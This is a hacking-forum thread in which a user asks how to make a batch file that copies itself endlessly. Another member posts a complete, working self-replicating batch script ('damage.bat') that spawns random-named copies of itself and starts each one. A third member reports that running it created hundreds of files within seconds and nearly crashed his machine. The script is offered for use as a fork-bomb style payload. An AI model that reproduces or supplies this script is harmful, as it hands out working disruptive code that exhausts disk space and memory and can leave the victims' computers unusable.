Hack Forums

Full Version: Batch Command help, (S3rp3nt come)
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
Pages: 1 2 3 4
I need help, im trying to make a batch file, that copies itself onto desktop, then renames itself, and copies itself onto desktop again, and keeps doing tht in an infinite loop. can any1 help.
I tried to make one that just copied itself to see if it would work. but it did not work for me, here is what i used, please tell me wht i did wrong or how to fix it, and if there is a code to make it continue on this cycle infinitaly.

copy meow.bat >> %systemdrive%\Documents and Settings\All Users\Desktop
Rename meow.bat meow2.bat
Copy meow2.bat >> %systemdrive%\Documents and Settings\All Users\Desktop
rename meow2.bat meow3.bat
copy meow3.bat >> %systemdrive%\Documents and Settings\All Users\Desktop
You can't.If you could,I would use often.
try this:

Code:
@echo off
:A
SET /A X=%RANDOM%%%1999999999%
type damage.bat >> %x%.bat
start %x%.bat
goto:A

save it as "damage.bat" without the quotes.
OUCH!!! I almost killed my computer with that!!! lol. it created almost 900 batch files, all of which were trying to start, which all had the same code in it, all of which would have also created many MANY batch files with the same code in it, all of that, in FIVE seconds!!!!

so zizipo, ur wrong man, lol. i just did it. i'm just glad i shut my computer off in time not to REALLY do some damage (warning to all, if u run this, it will store files on your hard drive, taking up both diskspace as well as ram, so your computer will crash and require a reinstall to fix this!!!!)
Wow Nice Psinetic,but I don't think the code actually did what Knight asked.
it does it in a round-about way. it's still the same file, with a random name. the "type" command copies the entire code from the original batch into a random batch file, so every batch file is essentially identical. they don't have the same names, they're all random.
Yea well,I could have posted that,but he asked for something else,so...
But Psinetic,nice to see your getting to know batches more.
lol, i didn't realize how bad it was until i ran it on myself just to see how it worked or if it worked....wow, i was actually frightened for a second there. whew *wipes sweat from brow*
um....dude, i'm so lost....please explain.... -_-
Pages: 1 2 3 4
Reference URL's